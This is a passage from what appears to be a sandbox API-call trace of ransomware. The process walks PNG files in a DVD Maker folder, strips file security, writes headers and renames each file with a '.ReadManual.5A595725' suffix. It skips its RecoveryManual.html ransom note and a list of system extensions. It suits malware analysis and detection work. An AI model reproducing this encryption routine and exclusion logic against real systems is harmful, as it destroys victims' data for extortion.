Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.419] GetLastError () returned 0x5 [0258.419] GetNamedSecurityInfoW () returned 0x0 [0258.420] SetNamedSecurityInfoW () returned 0x0 [0258.420] SetNamedSecurityInfoW () returned 0x0 [0258.421] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.421] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0258.421] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0258.421] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xec) returned 1 [0258.421] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.421] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.423] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.423] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0258.423] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.424] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37909229996) returned 1 [0258.424] CloseHandle (hObject=0x1a0) returned 1 [0258.424] SetSecurityInfo () returned 0x5 [0258.424] SetSecurityInfo () returned 0x5 [0258.424] LocalFree (hMem=0x674d38) returned 0x0 [0258.424] CloseHandle (hObject=0x184) returned 1 [0258.424] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0258.424] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0258.424] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0258.424] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.424] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.424] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.424] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.424] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.424] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.424] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.424] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.424] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.424] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.424] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.424] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.424] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.424] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.424] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.424] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" [0258.424] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0258.424] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 116 [0258.424] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37909325245) returned 1 [0258.425] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png")) returned 0x20 [0258.425] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.425] GetLastError () returned 0x5 [0258.425] GetNamedSecurityInfoW () returned 0x0 [0258.425] SetNamedSecurityInfoW () returned 0x0 [0258.425] SetNamedSecurityInfoW () returned 0x0 [0258.426] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.426] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0258.426] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0258.426] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf8) returned 1 [0258.427] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.427] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.428] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.429] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0258.429] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.429] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37909749255) returned 1 [0258.429] CloseHandle (hObject=0x1a0) returned 1 [0258.429] SetSecurityInfo () returned 0x5 [0258.429] SetSecurityInfo () returned 0x5 [0258.429] LocalFree (hMem=0x674d38) returned 0x0 [0258.429] CloseHandle (hObject=0x184) returned 1 [0258.430] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0258.430] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0258.430] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0258.430] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.430] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.430] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.430] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.430] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.430] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.430] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.430] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.430] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.430] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.430] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.430] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.430] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.430] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.430] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.430] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" [0258.430] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0258.430] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 107 [0258.430] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37909909560) returned 1 [0258.430] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png")) returned 0x20 [0258.431] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.431] GetLastError () returned 0x5 [0258.431] GetNamedSecurityInfoW () returned 0x0 [0258.431] SetNamedSecurityInfoW () returned 0x0 [0258.431] SetNamedSecurityInfoW () returned 0x0 [0258.432] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.432] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0258.432] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0258.432] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 [0258.433] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.433] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.435] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.435] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0258.435] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.435] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37910412585) returned 1 [0258.435] CloseHandle (hObject=0x1a0) returned 1 [0258.435] SetSecurityInfo () returned 0x5 [0258.436] SetSecurityInfo () returned 0x5 [0258.436] LocalFree (hMem=0x674d38) returned 0x0 [0258.436] CloseHandle (hObject=0x184) returned 1 [0258.436] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0258.436] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0258.436] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0258.436] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.436] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.436] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.436] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.436] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.436] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.436] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.436] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.436] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.436] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.436] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.436] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.436] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.436] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.436] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.436] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" [0258.436] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0258.436] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 113 [0258.436] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37910509711) returned 1 [0258.436] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png")) returned 0x20 [0258.437] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.437] GetLastError () returned 0x5 [0258.437] GetNamedSecurityInfoW () returned 0x0 [0258.437] SetNamedSecurityInfoW () returned 0x0 [0258.437] SetNamedSecurityInfoW () returned 0x0 [0258.438] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.438] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0258.438] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0258.438] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf2) returned 1 [0258.439] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.439] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.440] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.441] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0258.441] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.441] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37910955221) returned 1 [0258.441] CloseHandle (hObject=0x1a0) returned 1 [0258.441] SetSecurityInfo () returned 0x5 [0258.441] SetSecurityInfo () returned 0x5 [0258.441] LocalFree (hMem=0x674d38) returned 0x0 [0258.441] CloseHandle (hObject=0x184) returned 1 [0258.442] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0258.442] lstrcpyW (in: lpString1=0x6ab90e, lpString2="softedges.png" | out: lpString1="softedges.png") returned="softedges.png" [0258.442] lstrcmpiW (lpString1="softedges.png", lpString2="RecoveryManual.html") returned 1 [0258.442] StrStrIW (lpFirst="softedges.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.442] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.442] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.442] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.442] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.442] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.442] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.442] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.442] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.442] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.442] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.442] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.442] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.442] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.442] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.442] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" [0258.442] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.ReadManual.5A595725" [0258.442] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.ReadManual.5A595725") returned 90 [0258.442] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37911102544) returned 1 [0258.442] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png")) returned 0x20 [0258.443] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.443] GetLastError () returned 0x5 [0258.443] GetNamedSecurityInfoW () returned 0x0 [0258.443] SetNamedSecurityInfoW () returned 0x0 [0258.443] SetNamedSecurityInfoW () returned 0x0 [0258.444] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.444] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=27691) returned 1 [0258.444] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c2b, lpName=0x0) returned 0x1a0 [0258.444] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0258.445] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.445] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.446] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.447] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c2b) returned 0x2f0000 [0258.447] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.447] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37911579345) returned 1 [0258.447] CloseHandle (hObject=0x1a0) returned 1 [0258.447] SetSecurityInfo () returned 0x5 [0258.447] SetSecurityInfo () returned 0x5 [0258.447] LocalFree (hMem=0x674d38) returned 0x0 [0258.447] CloseHandle (hObject=0x184) returned 1 [0258.447] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0258.447] lstrcpyW (in: lpString1=0x6ab90e, lpString2="vignettemask25.png" | out: lpString1="vignettemask25.png") returned="vignettemask25.png" [0258.447] 